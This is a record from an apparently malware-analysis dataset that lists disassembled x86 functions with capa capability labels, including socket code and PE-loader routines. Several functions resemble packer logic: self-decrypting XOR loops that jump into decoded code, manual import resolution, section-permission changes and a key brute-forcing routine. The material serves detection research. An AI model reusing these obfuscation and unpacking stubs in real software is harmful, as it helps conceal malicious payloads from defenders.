joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4109d6
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x412ea8
call fcn.00411a30
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [esi + 0x14]
mov dword [ebp - 0x10], esi
mov dword [esi], vtable.xl::win32::net::asyn_tcp_socket.0
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
xor edi, edi
lea ecx, [esi + 0x34]
mov dword [ebp - 4], edi
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea ecx, [esi + 0x50]
mov byte [ebp - 4], 1
call dword [sym.imp.MSVCP71.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
mov eax, dword [ebp + 8]
or dword [esi + 0x10], 0xffffffff
or dword [esi + 0x70], 0xffffffff
push 0x400
mov dword [esi + 8], eax
lea eax, [esi + 0x74]
push edi
push eax
mov dword [esi + 0xc], edi
mov dword [esi + 4], edi
mov dword [esi + 0x30], edi
mov word [esi + 0x6c], di
call sub.MSVCR71.dll_memset
mov ecx, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi + 0x474], edi
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x410b20
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x41e654]
push ebx
push esi
push edi
push 0x10
pop edi
xor eax, ebp
xor ebx, ebx
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x24]
push ebx
push eax
mov esi, ecx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
call sub.MSVCR71.dll_memset
push edi
lea eax, [ebp - 0x14]
push ebx
push eax
call sub.MSVCR71.dll_memset
add esp, 0x18
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0x10]
mov dword [ebp - 0x28], edi
call sub.WS2_32.dll_getpeername
test eax, eax
jne 0x410b84
push dword [ebp - 0x12]
call sub.WS2_32.dll_ntohs
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push dword [esi + 0x10]
mov dword [ebp - 0x28], edi
call sub.WS2_32.dll_getsockname
test eax, eax
jne 0x410ba9
push dword [ebp - 0x22]
call sub.WS2_32.dll_ntohs
mov ebx, dword [ebp - 0x20]
mov dword [ebp - 0x34], eax
push dword [ebp - 0x30]
mov ecx, dword [esi + 8]
push dword [ebp - 0x2c]
mov dword [esi + 4], 3
push dword [ebp - 0x34]
mov eax, dword [ecx]
push ebx
call dword [eax + 4]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004118d5
leave
ret
Function at 0x410de5
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x41e654]
push esi
xor eax, ebp
push 0x10
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
push 0
push eax
mov esi, ecx
call sub.MSVCR71.dll_memset
mov eax, dword [esi + 0x70]
mov dword [ebp - 0x10], eax
xor eax, eax
mov ax, word [esi + 0x6c]
add esp, 0xc
mov word [ebp - 0x14], 2
push eax
call sub.WS2_32.dll_htons
mov word [ebp - 0x12], ax
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0x10]
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x410e4f
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
je 0x410e4f
push 1
push eax
mov ecx, esi
call fcn.00410bd1
jmp 0x410e56
mov dword [esi + 4], 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004118d5
leave
ret

Function at 0x410e63
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x28]
test eax, eax
je 0x410edd
push ebx
lea ebx, [esi + 0x14]
push edi
cmp dword [ebx + 0x18], 0x10
jb 0x410e7d
mov edx, dword [ebx + 4]
jmp 0x410e80
lea edx, [ebx + 4]
mov ecx, dword [esi + 0x30]
push 0
sub eax, ecx
push eax
add ecx, edx
push ecx
push dword [esi + 0x10]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
je 0x410ec5
add dword [esi + 0x30], eax
mov edi, dword [esi + 0x30]
mov eax, dword [esi + 0x28]
cmp edi, eax
jne 0x410e72
mov eax, dword [sym.imp.MSVCP71.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
push dword [eax]
mov ecx, ebx
push 0
call dword [sym.imp.MSVCP71.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::erase_unsigned_int__unsigned_int_]
mov ecx, dword [esi + 8]
and dword [esi + 0x30], 0
mov eax, dword [ecx]
push edi
call dword [eax + 8]
jmp 0x410edb
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
je 0x410edb
push 0
push eax
mov ecx, esi
call fcn.00410bd1
pop edi
pop ebx
pop esi
ret
Function at 0x410edf
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov eax, 0xa00c
lea ebp, [esp - 0x9f8c]
call fcn.004119e0
mov eax, dword [0x41e654]
push esi
xor eax, ebp
push 0
mov dword [ebp + 0x9f88], eax
push 0xa000
lea eax, [ebp - 0x78]
mov esi, ecx
push eax
push dword [esi + 0x10]
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
jne 0x410f35
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
je 0x410faf
push 0
push eax
mov ecx, esi
call fcn.00410bd1
jmp 0x410faf
test eax, eax
jne 0x410f4a
mov ecx, esi
call fcn.00410aa5
mov ecx, dword [esi + 8]
mov eax, dword [ecx]
call dword [eax + 0x14]
jmp 0x410faf
push edi
push eax
lea eax, [ebp - 0x78]
lea edi, [esi + 0x34]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP71.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::append_char_const___unsigned_int_]
cmp dword [edi + 0x18], 0x10
mov eax, dword [esi + 0x48]
mov dword [ebp - 0x7c], eax
jb 0x410f6c
mov ecx, dword [edi + 4]
jmp 0x410f6f
lea ecx, [edi + 4]
push ebx
lea ebx, [ebp - 0x7c]
push ebx
mov dword [ebp - 0x80], ecx
mov ecx, dword [esi + 8]
mov edx, dword [ecx]
push eax
push dword [ebp - 0x80]
call dword [edx + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
test eax, eax
pop ebx
jne 0x410fae
cmp dword [esi + 0x10], 0xffffffff
je 0x410fae
cmp dword [esi + 4], 3
jne 0x410fae
mov eax, dword [ebp - 0x7c]
cmp dword [esi + 0x48], eax
jb 0x410fae
push eax
push 0
mov ecx, edi
call dword [sym.imp.MSVCP71.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::erase_unsigned_int__unsigned_int_]
pop edi
mov ecx, dword [ebp + 0x9f88]
xor ecx, ebp
pop esi
call fcn.004118d5
add ebp, 0x9f8c
leave
ret
Function at 0x411bd2
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x418a90
call fcn.0041198c
xor edi, edi
mov dword [ebp - 0x20], edi
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call ebx
cmp word [eax], 0x5a4d
jne 0x411c12
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x411c12
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x411c2a
cmp eax, 0x20b
je 0x411c17
mov dword [ebp - 0x1c], edi
jmp 0x411c3e
cmp dword [ecx + 0x84], 0xe
jbe 0x411c12
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x411c38
cmp dword [ecx + 0x74], 0xe
jbe 0x411c12
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x4203a8], 0xffffffff
or dword [0x4203ac], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x4203a0]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x42039c]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x4203a4], eax
call fcn.00411e6c
call fcn.00411f0c
cmp dword [0x41e670], edi
jne 0x411c9e
push fcn.00411f0c
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00411efa
push 0x41e058
push 0x41e054
call sub.MSVCR71.dll__initterm
push 0x411eb0
call fcn.00411966
mov eax, dword [0x420398]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x420394]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___wgetmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, edi
jge 0x411cf2
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x41e050
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__wcmdln]
mov esi, dword [eax]
cmp esi, edi
jne 0x411d1c
or dword [ebp - 4], 0xffffffff
mov eax, 0xff
jmp 0x411dd6
mov dword [ebp - 0x24], esi
mov ax, word [esi]
cmp ax, 0x20
ja 0x411d8b
cmp ax, di
je 0x411d32
cmp dword [ebp - 0x20], edi
jne 0x411d8b
mov ax, word [esi]
cmp ax, di
je 0x411d47
cmp ax, 0x20
ja 0x411d47
inc esi
inc esi
mov dword [ebp - 0x24], esi
jmp 0x411d32
mov dword [ebp - 0x58], edi
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
test byte [ebp - 0x58], 1
je 0x411d63
movzx eax, word [ebp - 0x54]
jmp 0x411d66
push 0xa
pop eax
push eax
push esi
push edi
push edi
call ebx
push eax
call fcn.0040a2b2
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], edi
jne 0x411d83
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x411dd0
cmp ax, 0x22
jne 0x411d9c
xor eax, eax
cmp dword [ebp - 0x20], edi
sete al
mov dword [ebp - 0x20], eax
inc esi
inc esi
jmp 0x411d1c
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.004119c7
ret
Function at 0x93005c
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x930062
pop ebp
sub ebp, 6
sub ebp, 0x53005c
jmp 0x9300c0
jmp 0x9300c9
mov eax, 0x53005c
add eax, ebp
add eax, 0x93
mov ecx, 0x626
mov edx, 0x809dbf1e
xor byte [eax], dl
inc eax
dec ecx
jne 0x9300e0
jmp 0x9300f3
je 0x930153
jbe 0x930115
push cs
push ds
push ds
jbe 0x93011a
sal byte [edx], cl
push ds
lahf
out dx, al
push 0x60
aaa
rcr dword [edi + 0x37606aee], 1
shr dword [0x8be14ede], 1
pop di
push edi
push ds
dec esi
xchg ebp, eax
rcl dword [ebp + 0x1e1e2297], cl
push ds
push ds
push ds
lahf
invalid
sbb eax, 0x1e18a6d3
push ds
push ds
movsb byte es:[edi], byte [esi]
push ds
push ds
push ds
jmp 0x96691f30
div dword [esi + ebx]
push ds
push ds
dec ebx
xchg ebx, eax
jb 0x930196
push ds
xchg ebp, eax
wait
push ss
push ds
push ds
push ds
xchg ebp, eax
mov edx, dword [edx]
push ds
push ds
push ds
xchg ebp, eax
xchg ebx, eax
push cs
push ds
push ds
push ds
fcompi st(7)
sbb al, 0x2f
sbb al, 0x9d
fcomp qword [edx]
push edi
adc dword [ebx - 0x1e1e1e16], ebx
inc ebx
fcom qword [edx]
push ds
adc bl, byte [esi]
xchg ebp, eax
xchg edx, eax
cmp bl, byte [edx]
push ds
push ds
push ds
jbe 0x930123
sub edx, dword [edi]
push ds
jbe 0x93015a
aam 0x57
push ds
pop ds
xor bh, byte [edx]
dec edi
neg byte [ebx]
push ds
push ds
push ds
imul dword [0x4b1e1e1c]
xchg ebp, eax
loope 0x930211
adc ah, cl
imul edx, dword [esi], 0xfffffff6
js 0x9301cb
push ds
push ds
xchg ebp, eax
mov dword [0x1e1e1e16], eax
sub eax, 0x9dcc2dd7
neg byte [ebx]
push esi
adc dword [edx + 0x1e1e1e50], ebx
adc dword [esi + 0x1e1e1e56], edx
js 0x930160
add ah, byte [edi]
sahf
in eax, 0xf6
adc dword [edx + 0x1e1e1e04], ebx
sahf
in eax, 0xf7
adc dword [edx + 0x1e1e1e0f], ebx
js 0x930180
not byte [ecx]
lcall 0xe59e, 0x1e1e1e04
not dword [ecx]
lcall 0x9f78, 0x1e1e1e0f
in eax, 0xe1
cmp edx, dword [ecx]
lcall 0xf75f, 0x1e1e1e0b
shl cl, cl
loope 0x9301d1
aaa
push edx
daa
pop ds
popfd
fistp word [ebx]
popfd
neg byte [edx]
mul dword [ebx + 0x37e1e1e1]
dec edx
daa
sbb al, 0x9d
fistp word [eax]
popfd
hlt
inc ebx
fcom qword [edx]
push ds
dec ebx
xchg ebp, eax
dec eax
dec ecx
dec ebx
xchg ebp, eax
imul edx, dword [edx], 0xffffff95
arpl word [esi], dx
loop 0x9301cf
sahf
xchg esp, eax
sbb byte [edi + 0x1e1e1fd8], bl
push ds
xchg esi, eax
sbb dword [edi + 0x1e1e1fd9], ebx
push ds
movsd dword es:[edi], dword [esi]
sbb al, 0x1e
push ds
push ds
sbb al, 0xcc
adc dword [ebx + 0x1e1e1e1b], ebx
xchg esp, eax
or byte [eax + 0xc], bl
int3

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x543a92
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0x3c]
add eax, edx
add eax, 4
add eax, 0x14
lea eax, [eax + 0x60]
add eax, 8
mov eax, dword [eax]
add eax, edx
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x118], 0x49
mov byte [ebp - 0x117], 0x6d
mov byte [ebp - 0x116], 0x70
mov byte [ebp - 0x115], 0x6f
mov byte [ebp - 0x114], 0x72
mov byte [ebp - 0x113], 0x74
mov byte [ebp - 0x112], 0x20
mov byte [ebp - 0x111], 0x54
mov byte [ebp - 0x110], 0x61
mov byte [ebp - 0x10f], 0x62
mov byte [ebp - 0x10e], 0x6c
mov byte [ebp - 0x10d], 0x65
mov byte [ebp - 0x10c], 0x3a
mov byte [ebp - 0x10b], 0
mov eax, 1
mov eax, 1
test eax, eax
je 0x543b67
lea esi, [ebp - 0x14]
mov ecx, 0x14
mov al, 0
mov byte [esi], al
inc esi
dec ecx
jne 0x543b31
mov ebx, dword [ebp - 0x18]
lea esi, [ebp - 0x14]
mov edi, ebx
mov ecx, 0x14
repe cmpsb byte [esi], byte es:[edi]
je 0x543b5d
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00543b71
test eax, eax
je 0x543b67
add ebx, 0x14
jmp 0x543b3a
popal
mov eax, 1
leave
ret 8
popal
mov eax, 0
leave
ret 8
Function at 0x543b71
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
pushal
mov eax, 1
test eax, eax
je 0x543ddd
mov byte [ebp - 0x10c], 0x50
mov byte [ebp - 0x10b], 0x72
mov byte [ebp - 0x10a], 0x6f
mov byte [ebp - 0x109], 0x63
mov byte [ebp - 0x108], 0x65
mov byte [ebp - 0x107], 0x73
mov byte [ebp - 0x106], 0x73
mov byte [ebp - 0x105], 0x69
mov byte [ebp - 0x104], 0x6e
mov byte [ebp - 0x103], 0x67
mov byte [ebp - 0x102], 0x20
mov byte [ebp - 0x101], 0x49
mov byte [ebp - 0x100], 0x6d
mov byte [ebp - 0xff], 0x70
mov byte [ebp - 0xfe], 0x6f
mov byte [ebp - 0xfd], 0x72
mov byte [ebp - 0xfc], 0x74
mov byte [ebp - 0xfb], 0x20
mov byte [ebp - 0xfa], 0x44
mov byte [ebp - 0xf9], 0x69
mov byte [ebp - 0xf8], 0x72
mov byte [ebp - 0xf7], 0x65
mov byte [ebp - 0xf6], 0x63
mov byte [ebp - 0xf5], 0x74
mov byte [ebp - 0xf4], 0x6f
mov byte [ebp - 0xf3], 0x72
mov byte [ebp - 0xf2], 0x79
mov byte [ebp - 0xf1], 0x3a
mov byte [ebp - 0xf0], 0
mov eax, 1
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0xc]
add eax, dword [ebp + 0xc]
mov ebx, eax
mov eax, 1
test eax, eax
je 0x543ddd
mov eax, 1
test eax, eax
je 0x543ddd
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x543ddd
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [edx + 0x10]
add eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
sub ecx, ecx
mov eax, dword [ebp - 0xc]
add eax, ecx
mov eax, dword [eax]
test eax, eax
je 0x543dd3
mov ebx, eax
and eax, 0x80000000
jne 0x543d4a
mov byte [ebp - 0x10c], 0x4e
mov byte [ebp - 0x10b], 0x61
mov byte [ebp - 0x10a], 0x6d
mov byte [ebp - 0x109], 0x65
mov byte [ebp - 0x108], 0x3a
mov byte [ebp - 0x107], 0x20
mov byte [ebp - 0x106], 0
lea eax, [ebp - 0x10c]
mov eax, 1
test eax, eax
je 0x543ddd
add ebx, dword [ebp + 0xc]
lea ebx, [ebx + 2]
mov eax, ebx
mov eax, 1
test eax, eax
je 0x543ddd
mov eax, 1
test eax, eax
je 0x543ddd
push ecx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop ecx
test eax, eax
je 0x543ddd
mov ebx, dword [ebp - 8]
add ebx, ecx
mov dword [ebx], eax
add ecx, 4
jmp 0x543ca5
mov byte [ebp - 0x10c], 0x4f
mov byte [ebp - 0x10b], 0x72
mov byte [ebp - 0x10a], 0x64
mov byte [ebp - 0x109], 0x69
mov byte [ebp - 0x108], 0x6e
mov byte [ebp - 0x107], 0x61
mov byte [ebp - 0x106], 0x6c
mov byte [ebp - 0x105], 0x3a
mov byte [ebp - 0x104], 0x20
mov byte [ebp - 0x103], 0
lea eax, [ebp - 0x10c]
mov eax, 1
test eax, eax
je 0x543ddd
xor ebx, 0x80000000
mov eax, ebx
mov eax, 1
test eax, eax
je 0x543b67
push ecx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop ecx
test eax, eax
je 0x543ddd
mov ebx, dword [ebp - 8]
add ebx, ecx
mov dword [ebx], eax
add ecx, 4
jmp 0x543ca5
popal
mov eax, 1
leave
ret 0xc
popal
mov eax, 0
leave
ret 0xc
Function at 0x543e9d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov edx, dword [ebp + 0xc]
sub eax, eax
mov ax, word [edx + 2]
mov dword [ebp - 0x118], eax
add edx, 0x14
mov eax, dword [edx + 0x1c]
mov dword [ebp - 0x114], eax
mov eax, dword [edx + 0x38]
mov dword [ebp - 0x110], edx
lea edx, [ebp - 0xc]
mov ebx, dword [ebp + 8]
push edx
push 4
push eax
push dword [ebp - 0x114]
call dword [ebx + 0x24]
test eax, eax
je 0x543fee
mov byte [ebp - 0x10c], 0x53
mov byte [ebp - 0x10b], 0x65
mov byte [ebp - 0x10a], 0x74
mov byte [ebp - 0x109], 0x20
mov byte [ebp - 0x108], 0x49
mov byte [ebp - 0x107], 0x6d
mov byte [ebp - 0x106], 0x61
mov byte [ebp - 0x105], 0x67
mov byte [ebp - 0x104], 0x65
mov byte [ebp - 0x103], 0x20
mov byte [ebp - 0x102], 0x77
mov byte [ebp - 0x101], 0x72
mov byte [ebp - 0x100], 0x69
mov byte [ebp - 0xff], 0x74
mov byte [ebp - 0xfe], 0x61
mov byte [ebp - 0xfd], 0x62
mov byte [ebp - 0xfc], 0x6c
mov byte [ebp - 0xfb], 0x65
mov byte [ebp - 0xfa], 0x3a
mov byte [ebp - 0xf9], 0
mov eax, 1
mov eax, 1
test eax, eax
je 0x543fee
mov edx, dword [ebp - 0x110]
lea ebx, [edx + 0x60]
mov eax, dword [edx + 0x5c]
mov edx, 8
mul edx
add eax, ebx
mov dword [ebp - 8], eax
mov eax, 0x28
mov edx, dword [ebp - 0x118]
mul edx
add eax, dword [ebp - 8]
mov ebx, dword [ebp + 0x10]
sub eax, ebx
mov dword [ebp - 4], eax
mov edi, dword [ebp - 0x114]
mov esi, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x118]
mov ebx, dword [ebp - 8]
push dword [ebp + 0x10]
push dword [ebp - 0x114]
push ebx
push dword [ebp + 8]
call fcn.00543ff8
test eax, eax
je 0x543fee
add ebx, 0x28
dec ecx
jne 0x543fc7
popal
mov eax, dword [ebp - 0x114]
leave
ret 0x10
popal
mov eax, 0
leave
ret 0x10

Function at 0x54409e
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
pushal
mov edx, dword [ebp + 0xc]
mov ebx, dword [edx + 0x24]
and ebx, 0xe0000000
cmp ebx, 0xe0000000
jne 0x5440c9
mov eax, 0x40
mov dword [ebp - 0x108], eax
jmp 0x54412e
mov ebx, dword [edx + 0x24]
and ebx, 0x60000000
cmp ebx, 0x60000000
jne 0x5440e7
mov eax, 0x20
mov dword [ebp - 0x108], eax
jmp 0x54412e
mov ebx, dword [edx + 0x24]
and ebx, 0xc0000000
cmp ebx, 0xc0000000
jne 0x544105
mov eax, 4
mov dword [ebp - 0x108], eax
jmp 0x54412e
mov ebx, dword [edx + 0x24]
and ebx, 0x40000000
cmp ebx, 0x40000000
jne 0x544123
mov eax, 2
mov dword [ebp - 0x108], eax
jmp 0x54412e
mov eax, 1
mov dword [ebp - 0x108], eax
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
add eax, dword [ebp + 0x10]
mov ebx, dword [edx + 8]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x104]
push edx
push dword [ebp - 0x108]
push ebx
push eax
call dword [ecx + 0x24]
test eax, eax
je 0x54416b
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
add eax, dword [ebp + 0x10]
mov eax, 1
popal
mov eax, 1
leave
ret 0x10
popal
sub eax, eax
leave
ret 0x10
Function at 0x544172
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
mov edx, dword [ebp + 8]
mov ax, word [edx]
cmp ax, 0x5a4d
jne 0x5441a1
mov eax, dword [edx + 0x3c]
add edx, eax
mov eax, dword [edx]
cmp eax, 0x4550
jne 0x5441a1
add edx, 4
mov dword [ebp - 4], edx
popal
mov eax, dword [ebp - 4]
leave
ret 8
popal
sub eax, eax
leave
ret 8

Function at 0x544dff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov ecx, 3
mov edx, 1
push ecx
push dword [ebp + 8]
call fcn.00544f04
rol eax, 8
push dword [ebp + 0xc]
push eax
call fcn.00544f20
push edx
push dword [ebp + 0x10]
push eax
call fcn.00544eec
inc edx
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.00544f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.00544ecb
push ecx
push dword [ebp + 8]
call fcn.00544f04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.00544f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.00544ecb
push ecx
push dword [ebp + 8]
call fcn.00544f04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.00544f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.00544ecb
push ecx
push dword [ebp + 8]
call fcn.00544f04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.00544f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.00544ecb
cmp ecx, 0x2b
jne 0x544e0f
leave
ret 0xc

Function at 0x5464b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov byte [ebp - 0x118], 0x42
mov byte [ebp - 0x117], 0x72
mov byte [ebp - 0x116], 0x75
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x65
mov byte [ebp - 0x113], 0x66
mov byte [ebp - 0x112], 0x6f
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x63
mov byte [ebp - 0x10f], 0x69
mov byte [ebp - 0x10e], 0x6e
mov byte [ebp - 0x10d], 0x67
mov byte [ebp - 0x10c], 0x20
mov byte [ebp - 0x10b], 0x4b
mov byte [ebp - 0x10a], 0x65
mov byte [ebp - 0x109], 0x79
mov byte [ebp - 0x108], 0
mov eax, 1
lea edi, [ebp - 0x14]
mov ecx, 0x10
mov al, 0
mov byte [edi], al
inc edi
dec ecx
jne 0x546544
mov eax, dword [ebp + 8]
push 4
push 0x3000
push 0x9f6e0
push 0
call dword [eax + 0x20]
test eax, eax
je 0x5465d6
mov dword [ebp - 4], eax
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, 0x9f6e0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push 0x9f6e0
call fcn.005463fa
push 0x9f6e0
push dword [ebp + 0xc]
call fcn.005441a8
test eax, eax
jne 0x5465b8
mov esi, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
mov ecx, 0x9f6e0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
call fcn.005465dd
test eax, eax
je 0x5465d6
jmp 0x546574
mov eax, dword [ebp + 8]
push 0x8000
push 0
push dword [ebp - 4]
call dword [eax + 0x28]
test eax, eax
je 0x5465d6
popal
mov eax, 1
leave
ret 8
popal
sub eax, eax
leave
ret 8
Function at 0x54660b
Capabilities:
Terminate process

Disassembly:
call fcn.00546618
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]